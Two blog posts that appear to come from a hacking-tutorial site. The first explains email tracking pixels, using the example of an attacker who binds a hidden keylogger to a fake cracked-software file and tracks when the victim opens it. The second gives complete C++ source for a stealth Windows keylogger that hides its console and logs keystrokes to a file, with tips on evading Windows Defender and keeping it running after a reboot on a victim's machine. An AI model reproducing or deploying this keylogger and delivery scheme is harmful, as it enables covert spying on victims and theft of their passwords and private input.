Hello fellas, here you are going to learn about Email Tracking. Email tracking is a method used to obtain information from sent emails. For a smooth start, let me give you an example. Suppose that you are the attacker. You have created a file which is trustworthy by its name (let the file-name be "IDM Cracked Latest Version"). But along with this file, you did also bind (attach) an executable in background (hidden from user). This executable is nothing else but a keylogger. Hence, the file will seem useful to user but is really a spyware. Now, you mail this file to the victim and wait for him/her to open it. Here is the trap.

Click here to learn how to create a keylogger and download a keylogger file from here

Most of email services doesn't provide a way for the sender to know if his/her email was seen by the receiver or just ignored. In WhatsApp, Facebook and any other messaging service, we can know if our message was read or ignored. But none of email service provide us with this feature. So if you sent a spyware file to victim, it will take for weeks to know if he/she downloaded the file or not. And your attack will be unsuccessful or it will give delayed result. This is a simple example where email tracking becomes handy. So that now we have seen the importance of Email Tracking, let us study the process in depth.

There are in general, two methods to obtain information from Emails.

1. Email Tracing
2. Email Tracking

Yes, Email Tracing is different from Email Tracking. To study the difference and learn what Email Tracing is, click here.. Both the procedures (Email tracing and tracking) are independent. Hence, you can directly study this article to learn tracking irrespective of studying email tracing. But I would still suggest you to go through email tracing at least once before continuing, as its an interesting and important topic.

What is Email Tracking?

To be technical, it’s a method for monitoring email delivery through the use of a digitally time-stamped record to show the exact time and date an email was opened. You send an email. Your victim opens it. You get a notification in the corner of your screen and have the time of the email being opened on record. Every time the email is opened or a link is clicked, you’ll know it happened.

There are mainly two kind of receipts required when an email is sent.

1. Delivery Receipt - Indicates if the email is delivered or not. This receipt is provided in-built by all the email services.
2. Read Receipt - Indicates if the email you sent is read by the receiver or just ignored. This service is not provided by most of email service providers. But we can still modify the service provider functions to get a read receipt.

Click to view full size image

And Email Tracking is a methodology of obtaining read receipts of any sent email. So now let us see the advantages of email tracking before knowing how it actually works.

How is Email Tracking useful?

Email Tracking is mainly used in two fields - Spying and Marketing. Initially, email and link tracking feels like spying on your customers or potential clients. However, nothing nefarious is happening. Using email tracking actually saves time and increases productivity for both you and the customer. When you see a notification you know your email has been opened. You no longer have to send the “did you get my email?” message unless they actually haven’t gotten it.

Also, you’ll know exactly when people are sitting down at their desks and has your business on their mind. If you reach out to them close to this time, you’ll save your client time by contacting them when they’ve already got your company on their mind. Instead of trying to get them at a random time on a random day, they’ll already be thinking about you, and less likely to be busy on something else. If you notice an email being opened multiple times, then you’ll know there’s a higher chance for engagement with them. You can tell if they’re checking information you sent them before or after a call/meeting.

Email tracking is great for:

• Knowing when to follow up with people.
• Providing specific information based on the feedback (For example: If they keep clicking an email about a certain product, you could send more information about it).
• Helping marketing know what’s getting clients to click onward and what’s failing to get their attention.
• Giving peace of mind that you’re getting to clients.

Now let us see how Email Tracking works.

How does Email Tracking work in general?

To understand email tracking, we must first know the importance of Web-beacon or Tracking-pixel. 

• Web-beacon:A web beacon is an object embedded in a web page or email, which unobtrusively (usually invisibly) allows checking that a user has accessed the content. Common uses are email tracking and page tagging for web analytics.
• Tracking-pixel: Tracking pixel is a type of Web-beacon. A tracking pixel is a transparent image, measuring one pixel by one pixel (very small). Once imbedded on a Web page or in an email, a tracking pixel connects to a PHP file stored on your Web server. Each time the tracking pixel is viewed, it pulls the PHP file from the server, creating a logged event that lets you know exactly when and for how many times customers accessed the page or opened the message.

Now that we know about tracking pixel, we can note two of its important properties - Its transparent and when it is accessed, the event is logged along with the date-and-time stamp in the log file. When you see the log file, you can tell about when and how many times the image was accessed.

Email Tracking works the same way. You need to imbed the tracking-pixel in the email. I used the word "Imded" and not "Embed". When you embed an image, the image loads in the email and is sent to the receiver as an attachment. Hence, the log file will store the time when the email was sent - as tracking-pixel was attached (accessed) when the email was created. But when you imbed an image, a html tag including the link (<img src="link">) to that image is sent in the email. Hence, the image is loaded when the receiver opens the email. So, the log file will save the time when the image was accessed by the receiver which indirectly indicates when email was seen by the receiver.

Limitations of Email Tracking Pixel

Typically, there are no limitations of Email Tracking Pixel but there are problems which occur due to following reasons:

• The image isn’t loaded when an email is opened. Many web, desktop, and mobile email clients do not open images by default. Especially from unknown senders.
• An ad or tracking blocker is being used. Several extensions exist that block email opens from being reported.
• The image is loaded, but the email isn’t actually open. Some email clients render images as a preview, and will trigger email open false positives. The same effect is produced by Gmail's Image Caching feature.
• Some enterprise security systems will block emails w/ open tracking pixels or tracked links. Worse than email tracking not working, your email just might not actually get through.

The above was a brief list of what can cause email tracking to fail. The most important of the above is Gmail's Image Caching feature. (I cannot mention about it here due to the limitations of size og my article but you can google it.)

Some of useful tools for Email Tracking

Email tracking can be done with the help of three methods - Manual Method, Web-browser Extensions and Online Tools. Manual method is a bit harder and lengthy so I will mention it in my upcoming articles. The extensions and tools are listed here:

• Email Tracking Extension for Chrome
• MailTrack
• HubSpot

If you know about other good tools, write the name and link in comments. Till then, stay connected.. Thank you..

Read More

Making a simple C++ Keylogger - Download with Source Code

Hello friends.. Today I am going to discuss here about the most awaiting post by our readers. You are going to learn about making a running and undetectable keylogger in C++ programming language. And you will be amazed to know that you don't need to have a complete knowledge of C++ to learn this thing. As I am here to explain you in detail what happens by execution of which code of line.

Still, there are some prerequisites to learn how to design a Keylogger and get the knowledge of different types of keylogger and how they work. You don't need to know the programming language but you still need to know how a keylogger really works in background and an algorithm to design it. Hence, before continuing your reading of this article, I recommend you to read the below to articles for ease. (Its because making a keylogger is not a child's task. You should have complete knowledge of it.)

Links:

• A simple algorithm to design a Keylogger
• Types on Keylogger and how each type works

After reading the above articles, you can easily move towards reading this article. In the first article i.e. steps to make a keylogger, you have learned about two things necessary in designing a keylogger. These two most important tasks are:

1. You need to identify a function which identifies and triggers when a key is pressed.
2. You need to code the keylogger to run in stealth (hidden) mode.

The first task is carried out by a function --GetAsyncKeyState()-- which is a part of windows API in C++. Hence, this function returns a specific value when the ASCII value of the character key pressed is passed as an argument. Now let us understand the making of a C++ Keylogger taking a closer look at its code.

C++ Keylogger Code:

#include<iostream>
#include<fstream>
using namespace std;     //used to avoid the compilation errors because of redefinition of variables.
#include<windows.h>
#include<winuser.h>


int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,SW_HIDE);
}

We will study three basic things in this piece of code:

1. The working of GetAsyncKeyState() function.
2. The working of user-defined Save() function.
3. The working of user-defined Stealth() function.

You cannot copy this piece of code from my site. Hence, I have given a direct download link for this piece of code. Click here to download the Keylogger Source File.

Understanding: 

GetAsyncKeyState function: It is a Windows API function available in C++. It determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState. If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. 

• GetAsyncKeyState function example:
  if(GetAsyncKeyState(VK_UP))
{
printf("The Up Arrow Has Been Pressed\n");
}

Save function:The save function takes in the ASCII value of keystroke pressed as an argument. It then compares the value with each keystroke individually. If the comparison expression returns TRUE, it stores the keystroke pressed in a file with the help of a character variable. (One can also use Switch-Case instead of if-else ladder.)

Stealth function: Here is simple explanation of it.

HWND stealth;

Declares a window handle.

AllocConsole();

Allocates a new console for the calling process.

stealth = FindWindowA("ConsoleWindowClass", NULL);

Find the window handle with class name "ConsoleWindowClass".

ShowWindow(stealth,SW_HIDE);

Hide it.

Pros/Cons

Rather than mentioning the pros and cons here, I would like to simply mention the things this keylogger cannot do. The very first thing is, when you run this keylogger file, it will be easily detected by the Windows Defender. This is because of the file writing method we choose in this program. To avoid this, you can use the ofstream write("Filename.txt", ios::app) method to open a file in write mode rather than using file pointer method i.e, FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"). Also, you need to change the function to write instead of fprintf. There is a small difference in its working but a master of C++ would find it easy.

Next thing this keylogger can't do is, it can't send you the log file via email. Its because, at the start of my article I mentioned Types of Keylogger. How you get the log file from victim's computer depends on the type of keylogger. And hence, it is not possible for me to code a keylogger each of one type. Still, one can add its code if you are a PRO coder!

The last thing you need to know is, you have to attach the executable file in startup. Else, everytime the victim restarts his/her laptop, this keylogger file will be removed from the main memory and hence it will stop functioning.

How to Stop the Keylogging activity

You might have thought that you know how to run this keylogger and record keystrokes. But ever thought how to stop it..! It is running in stealth mode i.e. it is not running in a window that you can close it simply by clicking on Close Button. The simplest way to stop this Keylogger is open the Task Manager and find the keylogger by is executable file name and end it process/task.

I hope you find this article interesting. Also I think you may be having several doubts related to this piece of code. Feel free to ask queries in the comment box and share this article with your friends and spread knowledge. Thank you..

Read More